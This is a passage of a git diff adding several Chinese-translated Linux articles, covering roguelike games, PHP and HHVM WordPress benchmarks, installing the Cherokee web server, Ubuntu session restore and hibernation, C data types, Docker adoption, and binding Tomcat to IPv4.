+- 45-50 个关卡, 其中的大多数随机生成; +- 各种各样的物品:武器、盔甲、卷轴、药水、戒指、宝石和各种各样的工具,如钥匙和灯; +- 祝福和诅咒; +- 永久死亡: 若没有对当前的保存文件进行备份,失效的角色就找不回来了; +- 界面: + - 文本模式; + - 图形化界面, 使用 X、Qt 工具集或 GNOME 库; + +- 网站: [www.nethack.org][9] +- 开发者: NetHack 开发团队 +- 协议: NetHack 通用公共许可证 +- 版本号: 3.4.3 + +---------- + +###Ascii Sector + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-AsciiSector.png) + +Ascii Sector 是一个免费的太空战斗/探险/交易游戏,它基于经典的电脑游戏 `Wing Commander: Privateer`,后者由 Origine Systems 公司于 1993 年发布。 + +在 Ascii Sector 中,刚开始你将驾驶一艘简易的飞船,然后可以通过接受任务或者贩卖物品来挣得足够多的钱以升级你的飞船或重新再买一艘。不管是在太空中,还是在地面上,抑或是在飞船上,你可以专注于致命的战斗;并且通过使用 Ascii Sector 的脚本语言,你还可以为游戏创造自己的任务或享受其他玩家创造的任务。 + +特点包括: + +- 使用 ANSI 字符集生成图形界面; +- 真正的深入到游戏中; +- 提供各种基地,任务,商品和飞船; +- 飞船型号包括: Broadsword, Centurion, Demon, Dralthi, Drayman, Galaxy, Gladius, Gothri, Kamekh, Nexus, Orion, Paradign, Stileto, Talon, Tarsus 和 Ulysses; +- 四个象限: Alizarin, Crimson, Mauve, 和 Viridian; +- 可下载的任务; +- 任务可用脚本编辑; +- Ascii Sector 任务语言,在 Ascii Sector 宇宙中创造你自己的故事; +- 可以袭击或抢劫星球上的 NPC(非玩家控制角色); +- 可以到处移动的持久性舰队、可以改变系统的控制、引来敌人的舰队、回基地修复或重建; +- 可以登录系统受损的飞船; +- 可下载高质量的音乐文件; + +- 网站: [www.asciisector.net][10] +- 开发者: Christian Knudsen +- 协议: 免费软件 +- 版本号: 0.7.1.4 + +---------- + +###Angband + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Angband.png) + +Angband 是一个免费、单用户、使用 ASCII 字符图形化的地下城探险游戏,在其中你将以一个冒险者的角色探索一个深深的地下城,与怪兽战斗,获得你能取得的最好武器,准备着与黑暗之主 Morgoth 的最后决战。从上世纪九十年代开始,它一直在持续地开发着。 + +Angband 沿袭了 Rogue 和 NetHack 的风格路线。它由 Moria 和 Umoria 游戏衍生而来,基于 Rogue 回合制。它经常被描述为一个 “roguelike”游戏,因为它的外观和游戏体验与 Rogue 非常相似。很多游戏中的新生物、物品都来自 J.R.R Tolkien 的画作,尽管有些野兽直接来源于经典的神话、龙与地下城、Rolemaster,或 Angband 的原开发者的脑海中。 + +特点包括: + +- 100 层地下城; +- 随机产生的新关卡; +- 可以选择成为人类、半精灵、精灵、霍比特人、地精、矮人,半兽人,半巨魔, 登丹人 ,高等精灵,或者狗头人; +- 神器; +- 施法; +- 怪物; +- 怪物坑; +- 怪物巢穴; + +- 网站: [rephial.org][11] +- 开发者: Angband 开发小组 +- 协议: GNU GPL v2 +- 版本号: 3.5.0 + +---------- + +###UnNetHack + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-UnNetHack.png) + +UnNetHack 是 NetHack 的一个分支版本。NetHack 最开始于 1987 年发行,并且许多游戏玩家认为它是计算机世界所能提供的最好游戏体验的游戏之一。 + +特点包括: + +- 增加了许多针对 NetHack 的增强,如额外的怪兽、更多的关卡、许多新的元素、更多的危险、更具挑战性的游戏,以及最重要的,相比普通的 NetHack,它更具娱乐性; +- 帮助新手开始的教程; + +- 网站: [sourceforge.net/apps/trac/unnethack][12] +- 作者: Patric Mueller +- 协议: Nethack General Public License +- 版本号: 5.1.0 + +---------- + +###Hydra Slayer + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-HydraSlayer.png) + +Hydra Slayer 是一个专注于杀死九头蛇的开源 Roguelike 游戏。它受到了希腊神话、地下城探险、MathRL seven day roguelike ,和一些关于勇者杀死多头野兽的数字谜题等启发。 + +特点如下: + +- 独特的游戏机制; +- 混合希腊神话和数字迷宫的主题; +- 传统的 roguelike ASCII 字符界面或贴片/3D 界面; +- 5 种人物角色,具有极为不同的战术、力量及弱点; +- 28 种敌人类型: + - 10 种基本的九头蛇类型(每种类型都有两种变种); + - 8 种特殊类型的敌人; + - 可用作战术工具的无害蘑菇; +- 28 种装备(并包括材料和装备的大小/力量的变种); +- 15 种武器材料; +- 18 种非装备物品; +- 3 种可供选择的地图; +- 8 种关卡拓扑结构(包括莫比乌斯带和克莱因瓶); +- 11 个关卡生成器; +- 2 种结局; + +- 网站: [www.roguetemple.com/z/hydra][13] +- 开发者: Zeno Rogue +- 协议: GNU GPL v2 +- 版本号: 16.1 + +---------- + +###Brogue + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Brogue.png) + +Brogue 是一个开源的 Roguelike 游戏,它可以运行在 Mac OS X, Windows, Linux, iOS 和 Android 等平台下。 + +Brogue 是 Rogue 的一个直系分支,后者是一个最早由 Michael Toy 和 Glenn Wichman 于 1980 年左右开发的地下城探险视频游戏。与其他受欢迎的现代 Roguelike 游戏不同, Brogue 追求简单而不是复杂性,同时尽力确保游戏的不同组成之间的联系是有趣且纷繁多彩。 + +这个游戏的目标是取得深藏于地下第 26 层的 "Amulet of Yendor",再返回到地面逃出生天。对于那些技术娴熟且想进一步探险的人来说,位于 26 层之下的每层均包含 3 颗 lumenstone (流明石)(LCTT 译注:此处与我在[这里](http://brogue.wikia.com/wiki/Lumenstone)看到的有些出入),获得它们,将在胜利的基础上被授予额外的得分。 + +Brogue 是一个富有挑战性的游戏,但玩起来非常有趣。尽量不要因游戏的高难度而灰心;试玩一段时间之后,你会发现它变得非常吸引人。 + +特点如下: + +- 追求简单而非复杂; +- 对用户友好; +- 相比于 Rogue, Brogue 关卡生成更加复杂; +- 移除了 XP 和 水平系统 ; +- 陷阱,防护性物品; +- 额外的怪兽类型和魔法物品; + +- 网站: [sites.google.com/site/broguegame][14] +- 作者: Brian Walker +- 协议: GNU Affero GPL +- 版本号: 1.7.3 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/201412031524381/RoguelikeGames.html + +作者:Frazer Kline +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://crawl.develz.org/ +[2]:http://www.bay12games.com/dwarves/index.html +[3]:http://www.adom.de/ +[4]:http://te4.org/ +[5]:http://en.cataclysmdda.com/ +[6]:http://goblinhack.sourceforge.net/ +[7]:https://github.com/goblinhack/goblinhack +[8]:http://www.slashem.org/ +[9]:http://www.nethack.org/ +[10]:http://www.asciisector.net/ +[11]:http://rephial.org/ +[12]:http://sourceforge.net/apps/trac/unnethack/ +[13]:http://www.roguetemple.com/z/hydra/ +[14]:lhttps://sites.google.com/site/broguegame/ \ No newline at end of file diff --git a/published/201504/20141226 Real-World WordPress Benchmarks with PHP5.5 PHP5.6 PHP-NG and HHVM.md b/published/201504/20141226 Real-World WordPress Benchmarks with PHP5.5 PHP5.6 PHP-NG and HHVM.md new file mode 100644 index 0000000000..a15c496eae --- /dev/null +++ b/published/201504/20141226 Real-World WordPress Benchmarks with PHP5.5 PHP5.6 PHP-NG and HHVM.md @@ -0,0 +1,150 @@ +PHP 5.5 / PHP5.6 / PHP-NG 和 HHVM 哪个性能更好? +================================================================================ +**长篇摘要:在一个基于Vagrant的本地环境中,可能是某个错误的原因,导致HHVM测试结果很差;在HHVM伙伴们协助下,该原因仍在研究中!然而,在DigitalOcean的一个4GB虚拟机中,HHVM甚至盖过了最新版的PHP-NG的风头!** + +![](https://kinsta.com/wp-content/uploads/2014/07/phphhvm.jpg) + +**结论:它们反映出HHVM的功效更佳(在JIT热启动后),虽然出于某些原因,我们不能在所有装备中获取这些结果。** + +如果你记得我们[在几个月前写过一篇文章][1],那时WordPress 3.9表明是完全支持HHVM的,当时是那么令我们欢欣鼓舞。最初的基准测试结果显示,HHVM要比驱动着当前所有PHP构建的Zend引擎高级得多。后来,问题就出来了: + +- HHVM只能以单个用户运行,这意味着(在共享环境中)安全性差了 +- HHVM在崩溃后不会自动重启,而不幸的是,它至今仍然经常发生 +- HHVM在启动时使用大量内存,虽然,它和同规模的PHP-FPM比较,单个请求的内存使用量更低 + +很显然,你不得不根据你的(或者更确切地说是你的站点)的需求采取折中方案,然而这值得吗?切换到HHVM后,你期望获得多少性能改善呢? + +在Kinsta,我们真的想要测试所有新技术,并通常会优化这一切来为我们的客户提供最佳的环境。今天,我最终花了点时间来配置测试环境并进行了一些测试来对比两个不同的构建,一个是全新出炉的WordPress安装,另外一个则添加了大量内容的WooCommerce!为了计量脚本的运行时间,我只是简单地添加了 + + + +这一行到footer.php的/body标记前。 + + +这里是配置环境的详情: + +- DigitalOcean 4GB 雨滴容器 (2 CPU核心, 4GB RAM) +- Ubuntu 14.04, MariaDB10 +- 测试站点: 已导入演示内容的Munditia主题,WooCommerce 2.1.12 & WordPress 3.9.1 +- PHP 5.5.9, PHP 5.5.15, PHP 5.6.0 RC2, PHP-NG (20140718-git-6cc487d)和HHVM 3.2.0 (版本是PHP 5.6.99-hhvm) + +**没有进一步大费周章,这些就是我的测试结果,数值越低越好,以秒为单位:** + +### DigitalOcean 4GB 雨滴容器 ### + +单位是秒,运行10次,越低越好 + +这里有一个canvas的数据,发布的时候需要截一个图 + +看起来似乎PHP-NG在它首次运行后就获得了峰值性能!HHVM需要更多几次重载,但是它们的性能貌似差不多!我等不及PHP-NG合并到开发主干了!:) + +一分钟命中数,越高越好。 + +这里有一个canvas的数据,发布的时候需要截一个图 + +**PHP 5.5.15禁用OpCache** + +- 执行: **236 hits** +- 可用性: 100.00 % +- 消耗时间: 59.03 secs +- 传输的数据: 2.40 MB +- 回应时间: 2.47 secs +- 执行率: 4.00 trans/sec +- 吞吐量: 0.04 MB/sec +- 并发数: 9.87 +- 成功的执行: 236 +- 失败的执行: 0 +- 最长执行: 4.44 +- 最短执行: 0.48 + +**PHP 5.5.15启用OpCache** + +- 执行: **441 hits** +- 可用性: 100.00 % +- 消耗时间: 59.55 secs +- 传输的数据: 4.48 MB +- 回应时间: 1.34 secs +- 执行率: 7.41 trans/sec +- 吞吐量: 0.08 MB/sec +- 并发数: 9.91 +- 成功的执行: 441 +- 失败的执行: 0 +- 最长执行: 2.19 +- 最短执行: 0.64 + +**PHP 5.6 RC2禁用OpCache** + +- 执行: **207 hits** +- 可用性: 100.00 % +- 消耗时间: 59.87 secs +- 传输的数据: 2.10 MB +- 回应时间: 2.80 secs +- 执行率: 3.46 trans/sec +- 吞吐量: 0.04 MB/sec +- 并发数: 9.68 +- 成功的执行: 207 +- 失败的执行: 0 +- 最长执行: 3.65 +- 最短执行: 0.54 + +**PHP 5.6 RC2启用OpCache** + +- 执行: **412 hits** +- 可用性: 100.00 % +- 消耗时间: 59.03 secs +- 传输的数据: 4.18 MB +- 回应时间: 1.42 secs +- 执行率: 6.98 trans/sec +- 吞吐量: 0.07 MB/sec +- 并发数: 9.88 +- 成功的执行: 412 +- 失败的执行: 0 +- 最长执行: 1.93 +- 最短执行: 0.34 + +**HHVM 3.2.0(版本是PHP 5.6.99-hhvm)** + +- 执行: **955 hits** +- 可用性: 100.00 % +- 消耗时间: 59.69 secs +- 传输的数据: 9.18 MB +- 回应时间: 0.62 secs +- 执行率: 16.00 trans/sec +- 吞吐量: 0.15 MB/sec +- 并发数: 9.94 +- 成功的执行: 955 +- 失败的执行: 0 +- 最长执行: 0.85 +- 最短执行: 0.23 + +**PHP-NG启用OpCache(构建: Jul 29 2014)** + +- 执行: **849 hits** +- 可用性: 100.00 % +- 消耗时间: 59.88 secs +- 传输的数据: 8.63 MB +- 回应时间: 0.70 secs +- 执行率: 14.18 trans/sec +- 吞吐量: 0.14 MB/sec +- 并发数: 9.94 +- 成功的执行: 849 +- 失败的执行: 0 +- 最长执行: 1.06 +- 最短执行: 0.13 + + +**注意:这里节略了前一次的测试结果(有误),如感兴趣请访问原文查看。** + + +-------------------------------------------------------------------------------- + +via: https://kinsta.com/blog/real-world-wordpress-benchmarks-with-php5-5-php5-6-php-ng-and-hhvm/ + +作者:[Mark Gavalda][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://kinsta.com/blog/author/kinstadmin/ +[1]:https://kinsta.com/blog/hhvm-and-wordpress/ diff --git a/published/201504/20150119 How to Install Cherokee Lightweight Web Server on Ubuntu 14.04.md b/published/201504/20150119 How to Install Cherokee Lightweight Web Server on Ubuntu 14.04.md new file mode 100644 index 0000000000..160a8d62f9 --- /dev/null +++ b/published/201504/20150119 How to Install Cherokee Lightweight Web Server on Ubuntu 14.04.md @@ -0,0 +1,83 @@ +如何在Ubuntu 14.04上安装轻量级web服务器Cherokee +================================================================================ +**Cherokee** 是一个免费,开源,高性能轻量级的全功能web服务器,支持大部分主流操作系统(Linux、 Mac OS X、 Solaris 和 BSD)。它支持TLS/SSL、FastCGI、 SCGI、 PHP、 uWSGI、 SSI、 CGI、 LDAP、 HTTP代理、 视频流处理、 内容缓存、 流量控制、 虚拟主机、Apache兼容的日志文件,以及负载均衡等功能。 + +今天我们介绍一下怎样在Ubuntu Server 14.04 LTS安装和配置轻量级的web服务器Cherokee,只需要注意修改软件源列表,同样适用于Ubuntu12.04,12.10和13.04。 + +在Ubuntu Server上逐步安装和配置Cherokee + +### 1. 更新Ubuntu软件包索引 ### + +首先登陆Ubuntu Server,执行以下命令,更新Ubuntu Server的软件源并安装可用的更新。 + + sudo apt-get update + + sudo apt-get upgrade + +### 2. 加入 PPA ### + +通过运行以下命令增加Cherokee的PPA + + sudo add-apt-repository ppa:cherokee-webserver + + sudo apt-get update + +对于运行14.04版本的服务器还需要执行以下步骤 + + cd /etc/apt/sources.list.d + + nano cherokee-webserver-ppa-trusty.list + +用`deb http://ppa.launchpad.net/cherokee-webserver/ppa/ubuntu saucy main` 替换 `deb http://ppa.launchpad.net/cherokee-webserver/ppa/ubuntu trusty main` + +**再次运行命令:** + + sudo apt-get update + +### 3. 使用apt-get安装Cherokee ### + +使用如下命令安装Cherokee和SSL模块 + + sudo apt-get install cherokee cherokee-admin cherokee-doc libcherokee-mod-libssl libcherokee-mod-streaming libcherokee-mod-rrd + +### 4. 配置Cherokee ### + +重启Cherokee服务: + + sudo service cherokee start + +使用Cherokee最大的好处就是能通过一个简单易用的web界面 cherokee-admin 来管理所有的配置选项。推荐通过浏览器来管理Cherokee。使用如下命令启动cherokee-admin + + sudo cherokee-admin + +**注意: cherokee-admin 会显示用户名,一次性密码和web管理界面地址。** + +**请记录下这个一次性密码,登录到管理界面时需要它。** + +默认情况下,只能通过localhost访问Cherokee-admin,如果需要通过其它网络地址来访问,可以使用‘**-b**’参数。如果不指定任何IP地址,Cherokee-admin会自动监听所有网络端口。然后就可以通过网络访问Cherokee-admin + + sudo cherokee-admin -b + +通过指定IP地址访问Cherokee-admin + + sudo cherokee-admin -b 192.168.1.102 + +### 5. 浏览cherokee-admin面板 ### + +在你喜欢的浏览器中输入地址`http://主机名或 IP 地址:9090/`就可以进入控制面板了。例如我的是http://127.0.0.1:9090/,在浏览器中显示如下图 + +![cherokee-admin-panel](http://blog.linoxide.com/wp-content/uploads/2014/12/cherokee-admin.png) + +好了,到这里我们已经成功地在Ubuntu Server上安装和配置了Cherokee。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/install-cherokee-lightweight-web-server-ubuntu-14-04/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ diff --git a/published/201504/20150119 How to Remember and Restore Running Applications on Next Logon.md b/published/201504/20150119 How to Remember and Restore Running Applications on Next Logon.md new file mode 100644 index 0000000000..b6569bdca4 --- /dev/null +++ b/published/201504/20150119 How to Remember and Restore Running Applications on Next Logon.md @@ -0,0 +1,103 @@ +如何在 Ubuntu 中再次登录时还原上次运行的应用 +================================================================================ +在你的 Ubuntu 里,如果你需要处理一些工作,你并不需要关闭正运行着的那些应用,只需要管理一下窗口,并打开那些工作需要的应用就行。然而,如果你需要离开处理些别的事情或你的机器电量低使得你必须马上关闭电脑,这些程序可能就需要关闭终止了。不过幸运的是,你可以让 Ubuntu 记住所有你正运行的应用并在你下一次登录时还原它们。 + +###自动保存会话 + +现在,为了让我们的 Ubuntu 记住当前会话中正运行的应用并在我们下一次登录时还原它们,我们将会使用到 `dconf-editor`。这个工具代替了前一个 Ubuntu 版本里安装的 `gconf-editor`,但默认情况下现在这个 Ubuntu 版本(注:这里指的是 Ubuntu 14.04 LTS) 并没有安装。为了安装 `dconf-editor`, 你需要运行 `sudo apt-get install dconf-editor`命令: + + $ sudo apt-get install dconf-tools + +一旦 `dconf-editor` 安装完毕,你就可以从应用菜单(注:这里指的是 Unity Dash)里打开它,或者你可以通过直接在终端里运行,或使用 `alt+f2` 运行下面的命令来启动它: + + $ dconf-editor + +在 “dconf Editor” 窗口中,在左边窗格里点击临近 "org" 的右箭头来展开这个选项的分支。 + +![Dconf Editor Apps, org](http://blog.linoxide.com/wp-content/uploads/2015/01/dconf-editor-clicking-org-300x146.png) + +然后在 “org” 下,点击临近 “gnome” 的右箭头。 + +![dconf editor clicking gnome](http://blog.linoxide.com/wp-content/uploads/2015/01/dconf-editor-clicking-gnome.png) + +接着在 “gnome” 下点击 “gnome-session”。在右边窗格里,选择 “auto-save-session” 选项框并将它开启。 + +![dconf-editor selecting auto save session](http://blog.linoxide.com/wp-content/uploads/2015/01/dconf-editor_selecting_auto_save_session.png) + +在你确认对刚才的选项打钩之后,点击默认情况下位于窗口左上角的关闭按钮(X)来关闭 “Dconf Editor”。 + +![dconf-editor closing dconf editor](http://blog.linoxide.com/wp-content/uploads/2015/01/dconf-editor_closing_dconf_editor.png) + +在你登出并再登录回来时,所有你正运行的应用就可以被还原了。 + +欢呼吧,我们已经成功地配置了我们的 Ubuntu 14.04 LTS "Trusty" 来自动记住我们上一次会话中正在运行的应用。 + +除了关机后恢复应用之外,还可以通过休眠来达成类似的功能。 + +###休眠功能 + +现在,在这个教程里,我们也将学会 **如何在 Ubuntu 14.04 LTS 里开启休眠功能** : + +在开始之前,在键盘上按 `Ctrl+Alt+T` 来开启终端。在它开启以后,运行: + + sudo pm-hibernate + +在你的电脑关闭后,再重新开启它。这时,你开启的应用被重新打开了吗?如果休眠功能没有发挥作用,请检查你的交换分区大小,它至少要和你可用 RAM 大小相当。 + +你可以在系统监视器里查看你的交换分区大小,系统监视器可以通过在应用菜单或在终端里运行下面的命令来开启: + + $ gnome-system-monitor + +#### 在系统托盘里启用休眠功能: #### + +系统托盘里面的会话指示器现在使用 logind 而不是 upower 了。默认情况下,在 upower 和 logind 中,休眠菜单都被禁用了。 + +为了开启它的休眠菜单,依次运行下面的命令来编辑配置文件: + + sudo -i + + cd /var/lib/polkit-1/localauthority/50-local.d/ + + gedit com.ubuntu.enable-hibernate.pkla + +**提示:假如对你来说,这个配置文件并没有起到作用,请替换上面代码中的 /var/lib 为 /etc 来试试另一个配置文件** + +复制并粘贴下面的代码到文件中并保存: + + [Re-enable hibernate by default in upower] + Identity=unix-user:* + Action=org.freedesktop.upower.hibernate + ResultActive=yes + + [Re-enable hibernate by default in logind] + Identity=unix-user:* + Action=org.freedesktop.login1.hibernate + ResultActive=yes + +重启你的电脑就可以了。 + +#### 当你盖上笔记本的后盖时,让它休眠: #### + +1. 通过下面的命令编辑文件 “/etc/systemd/logind.conf” : + + $ sudo nano /etc/systemd/logind.conf + +2. 将 **#HandleLidSwitch=suspend** (挂起)这一行改为 **HandleLidSwitch=hibernate** (休眠)并保存文件; + +3. 运行下面的命令或重启你的电脑来应用更改: + + $ sudo restart systemd-logind + +就是这样。 成功了吗?现在我们设置了 dconf 并开启了休眠功能 :) 这样,无论你是关机还是直接合上笔记本盖子,你的 Ubuntu 将能够完全记住你开启的应用和窗口了。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/remember-running-applications-ubuntu/ + +作者:[Arun Pyasi][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ diff --git "a/published/201504/20150122 How are C data types \342\200\234supported directly by most computers\342\200\235.md" "b/published/201504/20150122 How are C data types \342\200\234supported directly by most computers\342\200\235.md" new file mode 100644 index 0000000000..f57bd9ac7f --- /dev/null +++ "b/published/201504/20150122 How are C data types \342\200\234supported directly by most computers\342\200\235.md" @@ -0,0 +1,53 @@ +C语言数据类型是如何被大多数计算机系统所支持? +======================== + +###问题: + +在读K&R版的*The C Programming Language*一书时,我在[介绍,第3页]看到这样一条说明: + +>**因为C语言提供的数据类型和控制结构可以直接被大部分计算机系统所支持,所以在实现自包含程序时所需要的运行库文件一般很小。** + +这段黑体说明了什么?能否找到一个例子来说明C语言中的某种数据类型或控制结构不被某种计算机系统直接支持呢? + +###回答: + +事实上,C语言中确实有不被直接支持的数据类型。 + +在许多嵌入式系统中,硬件上并没有浮点运算单元。因此,如果你写出下面的代码: + +```C +float x = 1.0f, y = 2.0f; +return x + y; +``` + +可能会被转化成下面这种形式: + +```C +unsigned x = 0x3f800000, y = 0x40000000; +return _float_add(x, y); +``` + +然后编译器或标准库必须提供'_float_add()'的具体实现,这会占用嵌入式系统的内存空间。依此去计算代码在某个微型系统(译者注:也就是指微型嵌入式系统)的实际字节数,也会发现有所增加。 + +另一个常见的例子是64位整型数(C语言标准中'long long'类型是1999年之后才出现的),这种类型在32位系统上也不能直接使用。古董级的SPARC系统则不支持整型乘法,所以在运行时必须提供乘法的实现。当然,还有一些其它例子。 + +####其它语言 + +相比起来,其它编程语言有更加复杂的基本类型。 + +比如,Lisp中的symbol需要大量的运行时实现支持,就像Lua中的table、Python中的string、Fortran中的array,等等。在C语言中等价的类型通常要么不属于标准库(C语言没有标准symbol或table),要么更加简单,而且并不需要那么多的运行时支持(C语言中的array基本上就是指针,以NULL结尾的字符串实现起来也很简单)。 + +####控制结构 + +异常处理是C语言中没有的一种控制结构。非局部的退出只有'setjmp()'和'longjmp()'两种,只能提供保存和恢复某些部分的处理器状态。相比之下,C++运行时环境必须先遍历函数调用栈,然后调用析构函数和异常处理函数。 + +---- +via:[stackoverflow](http://stackoverflow.com/questions/27977522/how-are-c-data-types-supported-directly-by-most-computers/27977605#27977605) + +作者:[Dietrich Epp][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://stackoverflow.com/users/82294/dietrich-epp \ No newline at end of file diff --git a/published/201504/20150128 Docker-1 Moving to Docker.md b/published/201504/20150128 Docker-1 Moving to Docker.md new file mode 100644 index 0000000000..5cadf51ce6 --- /dev/null +++ b/published/201504/20150128 Docker-1 Moving to Docker.md @@ -0,0 +1,80 @@ +走向 Docker +================================================================================ +![](http://cocoahunter.com/content/images/2015/01/docker1.jpeg) + +[TL;DR] 这是系列的第一篇文章,这系列讲述了我的公司如何把基础服务从PaaS迁移到Docker上。如果你愿意,你可以直接跳过介绍(这篇文章)直接看技术相关的话题(链接在页面的底部)。 + +---------- + +上个月,我一直在折腾开发环境。这是我个人故事和经验,关于尝试用Docker简化Rails应用的部署过程。 + +当我在2012年创建我的公司 – [Touchware][1]时,我还是一个独立开发者。很多事情很小,不复杂,他们不需要很多维护,他们也不需要部署到很多机器上。经过过去一年的发展,我们成长了很多(我们现在是是拥有10个人的团队)而且我们的服务端的程序和API无论在范围和规模方面都有增长。 + +### 第1步 - Heroku ### + +我们还是个小公司,我们需要让事情运行地尽可能平稳。当我们寻找可行的解决方案时,我们打算坚持用那些可以帮助我们减轻对硬件依赖负担的工具。由于我们主要开发Rails应用,而Heroku对RoR、常用的数据库和缓存(Postgres/Mongo/Redis等)有很好的支持,最明智的选择就是用[Heroku][2] 。我们就是这样做的。 + +Heroku有很好的技术支持和文档,使得部署非常轻松。唯一的问题是,当你处于起步阶段,你需要很多开销。这不是最好的选择,真的。 + +### 第2步 - Dokku ### + +为了尝试并降低成本,我们决定试试Dokku。[Dokku][3],引用GitHub上的一句话 + +> Docker 驱动的 mini-Heroku,只用了一百来行的 bash 脚本 + +我们启用的[DigitalOcean][4]上的很多台机器,都预装了Dokku。Dokku非常像Heroku,但是当你有复杂的项目需要调整配置参数或者是需要特殊的依赖时,它就不能胜任了。我们有一个应用,它需要对图片进行多次转换,我们把我们Rails应用的托管到基于Dokku的Docker容器,但是无法安装一个适合版本的imagemagick到里面。尽管我们还有很多应用运行在Dokku上,但我们还是不得不把一些迁移回Heroku。 + +### 第3步 - Docker ### + +几个月前,由于开发环境和生产环境的问题重新出现,我决定试试Docker。简单来说,Docker让开发者容器化应用、简化部署。由于一个Docker容器本质上已经包含项目运行所需要的所有依赖,只要它能在你的笔记本上运行地很好,你就能确保它将也能在任何一个别的远程服务器的生产环境上运行,包括Amazon的EC2和DigitalOcean上的VPS。 + +就我个人的看法来说,Docker 特别有意思的原因是: + +- 它促进了模块化和关注点分离:你只需要去考虑应用的逻辑部分(负载均衡:1个容器;数据库:1个容器;web服务器:1个容器); +- 在部署的配置上非常灵活:容器可以被部署在各种硬件上,也可以容易地重新部署在不同的服务器和不同的提供商; +- 它允许非常细粒度地优化应用的运行环境:你可以利用你的容器来创建镜像,所以你有很多选择来配置环境。 + +它也有一些缺点: + +- 它的学习曲线非常的陡峭(这是从一个软件开发者的角度来看,而不是经验丰富的运维人员); +- 搭建环境不简单,尤其是还需要自己搭建一个私有的registry/repository (后面有关于它的详细内容)。 + +下面是一些提示。这个系列的最后一周,我将把他们和一些新的放在一起。 + +---------- + +在下面的文章中,我们将看到如何建立一个半自动化的基于Docker的部署系统。 + +- [建立私有的Docker registry][6] +- [配置Rails应用的半自动化话部署][7] + +-------------------------------------------------------------------------------- + +via: http://cocoahunter.com/2015/01/23/docker-1/ + +作者:[Michelangelo Chasseur][a] +译者:[mtunique](https://github.com/mtunique) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://cocoahunter.com/author/michelangelo/ +[1]:http://www.touchwa.re/ +[2]:http://www.heroku.com +[3]:https://github.com/progrium/dokku +[4]:http://www.digitalocean.com +[5]:http://www.docker.com/ +[6]:http://cocoahunter.com/2015/01/23/docker-2/ +[7]:http://cocoahunter.com/2015/01/23/docker-3/ +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: diff --git a/published/201504/20150202 How to Bind Apache Tomcat to IPv4 in Centos or Redhat.md b/published/201504/20150202 How to Bind Apache Tomcat to IPv4 in Centos or Redhat.md new file mode 100644 index 0000000000..814e81d4f1 --- /dev/null +++ b/published/201504/20150202 How to Bind Apache Tomcat to IPv4 in Centos or Redhat.md @@ -0,0 +1,77 @@ +如何在 CentOS/RHEL 中为 Apache Tomcat 绑定 IPv4 地址 +================================================================================ +今天我们来学习一下如何在CentOS 7 Linux分布式系统中为Tomcat绑定IPv4。 + +**Apache Tomcat** 是由[Apache 软件基金会][1] 开发的开源web服务器和servlet容器。它实现了Java Servlet,JavaServer页面(JSP),Java的统一表达式语言,以及Sun Microsystems的Java的WebSocket规范,并提供了一个运行java代码的web服务器环境。 + +如果由于tomcat默认绑定到IPv6而导致我们的web服务器不能正常工作,就有必要将tomcat绑定到IPv4。众所周知,IPv6是为设备分配IP地址的现代方法,虽然在不久的将来也许会得到应用,但是现在并没有得到完全应用。由于没有用处,目前我们并不需要将我们的Tomcat服务器向IPv6转换,我们应该将其绑定到IPv4。 + +在开始将tomcat绑定到IPv4之前,我们应该确保在我们的CentOS 7中已经安装了tomcat。可以看这个[如何在CentOS 7.0服务器中安装tomcat 8][2]的指导。 + +### 1. 切换到tomcat用户 ### + +首先,我们要切换到 **tomcat** 用户。我们可以通过在shell或者终端中运行 **su tomcat** 命令完成。 + + # su tomcat + +![切换到tomcat用户](http://blog.linoxide.com/wp-content/uploads/2015/01/switch-user-tomcat.png) + +### 2. 找到文件 Catalina.sh ### + +现在我们要进入Apache Tomcat安装目录下的bin文件夹,通常是 **/usr/share/apache-tomcat-8.0.x/bin/**, 这里的x是 Apache Tomcat发行版的子版本号。因为我的CentOS 7服务器中安装的版本是8.0.18,这里我的目录是 **/usr/share/apache-tomcat-8.0.18/bin/**。 + + $ cd /usr/share/apache-tomcat-8.0.18/bin + +**注意:请用你系统中安装的Apache Tomcat的版本号替换8.0.18。** + +在bin目录中,有一个名字是catalina.sh的脚本文件。这就是我们要编辑的文件,我们将在里面增加一行将tomcat绑定到IPv4的配置信息。你可以通过在shell或者终端中运行命令 **ls** 来查看这个文件。 + + $ ls + +![查找文件 catalina.sh](http://blog.linoxide.com/wp-content/uploads/2015/01/finding-catalina.sh_.png) + +### 3. 配置 Catalina.sh ### + +如图所示,我们将在catalina.sh脚本文件的最后增加一行 `JAVA_OPTS= "$JAVA_OPTS -Djava.net.preferIPv4Stack=true 